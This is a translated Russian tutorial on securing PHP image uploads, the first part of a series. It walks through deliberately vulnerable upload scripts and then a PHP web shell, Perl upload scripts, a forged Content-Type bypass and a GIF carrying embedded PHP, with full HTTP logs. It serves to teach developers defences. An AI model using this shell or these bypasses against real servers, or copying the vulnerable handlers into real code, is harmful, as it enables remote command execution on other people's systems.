Pull to refresh

Безопасная загрузка изображений на сервер. Часть первая

PHP *
Translation
Original author: Alla Bezroutchko
В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее — это должен знать каждый PHP-разработчик.

Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.

Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.

Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.

Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip.

Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.

Обычная загрузка файла

Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):

<?php
 $uploaddir = 'uploads/'; // Relative path under webroot
 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
 } else {
   echo "File uploading failed.\n";
 }
?>

* This source code was highlighted with Source Code Highlighter.


Обычно пользователи будут загружать файлы, используя подобную форму:

<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data">
 Select the file to upload: <input type="file" name="userfile">
 <input type="submit" name="upload" value="upload">
</form>


* This source code was highlighted with Source Code Highlighter.


Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика), который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.

В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:

<?php
system($_GET['command']);
?>


Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command

Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.

Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;
$res = $ua->request(POST 'http://localhost/upload1.php',
       Content_Type => 'form-data',
       Content => [userfile => ["shell.php", "shell.php"],],);

print $res->as_string();

* This source code was highlighted with Source Code Highlighter.


Этот скрипт использует libwwwperl, который является удобной библиотекой Perl, эмулирующей HTTP-клиента.

И вот что случится при выполнении этого скрипта:

Запрос:
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:

$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se

Проверка Content-Type

Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:

Пример 2 (upload2.php):

<?php
 if($_FILES['userfile']['type'] != "image/gif") {
   echo "Sorry, we only allow uploading GIF images";
   exit;
 }
 $uploaddir = 'uploads/';
 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
 } else {
   echo "File uploading failed.\n";
 }
?>


* This source code was highlighted with Source Code Highlighter.


В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

Запрос:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика). Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
   $res = $ua->request(POST 'http://localhost/upload2.php',
        Content_Type => 'form-data',
        Content => [userfile => ["shell.php", "shell.php", "Content-Type" =>"image/gif"],],);

print $res->as_string();


* This source code was highlighted with Source Code Highlighter.


И вот что получится.

Запрос:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.


В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.

Проверка содержания файла изображения

Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.

<?php
 $imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
 if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
  echo "Sorry, we only accept GIF and JPEG images\n";
  exit;
 }

 $uploaddir = 'uploads/';
 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
 
 if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
 } else {
   echo "File uploading failed.\n";
 }
?>


* This source code was highlighted with Source Code Highlighter.


Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.

Запрос:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.

Итак, создадим perl-скрипт для загрузки нашей картинки:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload3.php',
        Content_Type => 'form-data',
        Content => [userfile => ["crocus.gif", "crocus.php", "Content-Type" => "image/gif"], ],);

print $res->as_string();


* This source code was highlighted with Source Code Highlighter.


Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:

Запрос:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...)
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.


Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

image

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность "<? phpinfo() ?>" в комментарии GIF.

Проверка расширения загружаемого файла

Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.

Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):

<?php
 $blacklist = array(".php", ".phtml", ".php3", ".php4");
 foreach ($blacklist as $item) {
  if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
   echo "We do not allow uploading PHP files\n";
   exit;
   }
  }

  $uploaddir = 'uploads/';
  $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

  if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
  } else {
   echo "File uploading failed.\n";
  }
?>

* This source code was highlighted with Source Code Highlighter.


Выражение preg_match ("/$item\$/i", $_FILES['userfile']['name']) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.

Если мы пытаемся загрузить файл c расширением .php, это приведет к ошибке:

Запрос:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files

Если мы загружаем файл с расширением .gif, то оно будет загружено:

Запрос:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.


Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:

image

Комментарии переводчика:
В случае загрузки картинок самым лучшим способом являются не указанные действия, а сохранение файла с расширением, которое получается в результате выполнения функции getimagesize(). В большинстве случаев именно так и происходит. Стоит добавить, что желательно сделать приведение файла к конкретному формату, например jpeg. При приведении метаданные картинки (насколько мне известно) потеряются, обеспечив практически гарантируемую безопастность.

Наличие в загрузке файлов с расширением типа .php нужно проверять вообще в начале работы сайта, и если они есть сразу же их отбрасывать.

→ Вторая часть
Tags:
Hubs:
Total votes 77: ↑69 and ↓8 +61
Views 129K
Comments Comments 57